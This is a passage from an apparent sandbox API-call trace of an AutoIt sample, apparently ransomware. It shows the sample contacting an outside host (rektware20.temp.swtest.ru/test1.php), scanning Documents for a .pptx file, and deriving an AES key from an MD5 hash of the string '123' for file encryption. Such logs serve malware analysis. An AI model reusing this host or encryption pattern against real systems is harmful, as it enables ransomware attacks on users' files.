lpString1="Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Hdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.546] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.547] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.547] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.547] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.547] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.547] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.547] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.547] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.547] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.547] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0070.547] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.548] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.548] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.549] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.549] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.549] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.549] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.549] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.550] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.550] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.550] CloseHandle (hObject=0x0) returned 0 [0070.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.550] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0070.550] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.550] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.551] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.551] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.551] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.551] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.551] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.551] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.552] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.552] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.552] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.552] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.556] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.556] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.557] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.557] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.557] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.557] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.557] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.557] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.557] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.557] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.557] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.558] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.558] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.558] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.558] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.558] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.558] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.558] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.558] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.558] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.558] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.558] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.559] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.559] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.559] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.559] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.560] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.560] CryptHashData (hHash=0x164c670, pbData=0x1629420, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.560] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.560] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.560] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.560] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.560] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.560] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.560] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.561] CryptDeriveKey (in: hProv=0x17aa918, Algid=0x6610, hBaseData=0x164c670, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0070.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.561] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.561] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.561] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.561] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.562] CryptDestroyHash (hHash=0x164c670) returned 1 [0070.562] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.562] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.562] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.562] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.562] PeekMessageW (in: 